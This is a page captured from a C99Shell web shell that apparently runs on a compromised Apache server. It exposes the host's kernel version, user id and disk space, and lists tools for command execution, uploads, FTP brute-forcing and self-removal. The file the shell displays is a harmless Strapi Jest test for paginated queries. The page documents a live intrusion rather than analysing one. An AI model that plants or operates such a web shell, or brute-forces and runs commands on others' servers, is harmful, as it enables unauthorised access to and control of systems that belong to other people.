!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lib/node_modules/strapi/node_modules/strapi-database/lib/queries/__tests__/   drwxr-xr-x
Free 12.97 GB of 57.97 GB (22.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     paginated-queries.test.js (3.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

const {
  createFindPageQuery,
  createSearchPageQuery,
  createPaginatedQuery,
  getPaginationInfos,
} = require('../paginated-queries');

describe('Paginated Queries', () => {
  describe('createPaginatedQuery', () => {
    test('Successfully create a paginated query based on given fetch and count', async () => {
      const fetch = jest.fn(() => [1, 2]);
      const count = jest.fn(() => 2);

      const paginatedQuery = createPaginatedQuery({ fetch, count });

      const data = await paginatedQuery({});

      expect(fetch).toHaveBeenCalled();
      expect(count).toHaveBeenCalled();
      expect(data).toMatchObject({
        results: [1, 2],
        pagination: {
          page: 1,
          pageSize: 100,
          total: 2,
          pageCount: 1,
        },
      });
    });

    test('Use custom pagination options to find a specific page', async () => {
      const fetch = jest.fn(() => [5, 6]);
      const count = jest.fn(() => 6);

      const paginatedQuery = createPaginatedQuery({ fetch, count });

      const data = await paginatedQuery({ page: 2, pageSize: 4 });

      expect(fetch).toHaveBeenCalled();
      expect(count).toHaveBeenCalled();
      expect(data).toMatchObject({
        results: [5, 6],
        pagination: {
          page: 2,
          pageSize: 4,
          total: 6,
          pageCount: 2,
        },
      });
    });
  });

  describe('createFindPageQuery', () => {
    test('Successfully create a findPage query based on given find and count', async () => {
      const find = jest.fn(() => [1, 2]);
      const count = jest.fn(() => 2);

      const paginatedQuery = createFindPageQuery({ find, count });

      const data = await paginatedQuery({});

      expect(find).toHaveBeenCalled();
      expect(count).toHaveBeenCalled();
      expect(data).toMatchObject({
        results: [1, 2],
        pagination: {
          page: 1,
          pageSize: 100,
          total: 2,
          pageCount: 1,
        },
      });
    });
  });

  describe('createSearchPageQuery', () => {
    test('Successfully create a searchPage query based on given search and countSearch', async () => {
      const search = jest.fn(() => [1, 2]);
      const countSearch = jest.fn(() => 2);

      const paginatedQuery = createSearchPageQuery({ search, countSearch });

      const data = await paginatedQuery({});

      expect(search).toHaveBeenCalled();
      expect(countSearch).toHaveBeenCalled();
      expect(data).toMatchObject({
        results: [1, 2],
        pagination: {
          page: 1,
          pageSize: 100,
          total: 2,
          pageCount: 1,
        },
      });
    });
  });

  describe('getPaginationInfos', () => {
    test('Incomplete last page', async () => {
      const queryParams = { page: 2, pageSize: 6 };
      const count = jest.fn(() => 8);

      const pagination = await getPaginationInfos(queryParams, count);

      expect(count).toHaveBeenCalled();
      expect(pagination).toEqual({
        page: 2,
        pageSize: 6,
        total: 8,
        pageCount: 2,
      });
    });

    test('Complete last page', async () => {
      const queryParams = { page: 2, pageSize: 6 };
      const count = jest.fn(() => 18);

      const pagination = await getPaginationInfos(queryParams, count);

      expect(count).toHaveBeenCalled();
      expect(pagination).toEqual({
        page: 2,
        pageSize: 6,
        total: 18,
        pageCount: 3,
      });
    });
  });
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.008 ]--